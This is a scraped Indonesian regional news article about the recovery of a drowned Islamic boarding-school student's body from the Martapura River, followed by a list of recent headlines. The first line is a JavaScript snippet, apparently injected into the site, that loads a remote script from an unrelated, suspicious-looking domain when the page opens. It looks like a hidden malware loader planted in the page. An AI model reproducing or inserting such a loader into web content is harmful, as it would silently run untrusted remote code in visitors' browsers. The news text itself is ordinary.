(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

BREAKING NEWS. Santri Darussalam yang Tenggelam Ditemukan di Sungai Rangas Hambuku


KANALKALIMANTAN.COM. MARTAPURA – Upaya pencarian Abdul Karim (15), santri Pondok Pesantren (Ponpes) Darussalam yang tenggelam di Sungai Martapura akhirnya membuahkan hasil.

Informasi yang diperoleh Kanalkalimantan.com, santri yang tenggelam sejak Sabtu (3/4/2021) itu, ditemukan tim gabungan pencarian di Desa Sungai Rangas Hambuku, Kecamatan Martapura Barat, Kabupaten Banjar, Senin (5/4/2021) sekitar pukul 17.00 Wita.

Jasad santri ditemukan tim pencarian di dekat tower, dan langsung dievekuasi tim.

Tim gabungan dari Basarnas Kalsel, BPBD dan Damkar Banjar, serta relawan dan dibantu warga, melakukan pencarian sejak Sabtu petang menggunakan perahu karet.

Sebelumnya, gara-gara mengambil sarung hanyut saat mencuci pakaian di tepian sungai, tiga santri terbawa derasnya arus Sungai Martapura. Lantaran tidak bisa berenang satu dari tiga santri tersebut, diinformasikan tenggelam.

Baca juga : Ujian Sekolah Digelar Tatap Muka, Ini yang Dilakukan SDN Mawar 2 Banjarmasin

Upaya pencarian yang dilakukan oleh tim relawan hingga Polsek Martapura Timur masih belum membuahkan hasil paska musibah tenggelamnya salah seorang santri pada Sabtu (3/4/2021) pukul 14.00 Wita.

Kronologi kejadian tersebut terjadi di saat Yogi Yanto (15), Junaidi (15) dan Abdul Karim (15) sedang mencuci pakaian di jalan Antasan Senor Ilir, Kecamatan Martapura Timur, Kabupaten Banjar tepatnya di Sungai Martapura belakang asrama santri Hidayatussibyan.

“Saat ketiga santri itu sedang asik mencuci pakian kemudian selang beberapa menit sarung milik Junaidi hanyut, lalu Yogi dan Junaidi berupaya bercebur dan mengambil sarung tersebut, disusul korban Abdul Karim. Namun ketika Yogi dan Junaidi sudah di pinggir sungai dengan berpegangan batang pohon pisang, Abdul Karim sudah tidak terlihat lagi,” jelas Kapolsek Martapura Timur Iptu Samsul Bahri. (kanalkalimantan.com/bie)

 

Reporter : Bie
Editor : Kk

 


Al Ghifari

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

2 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

4 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

6 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

7 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

7 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

20 jam ago

This website uses cookies.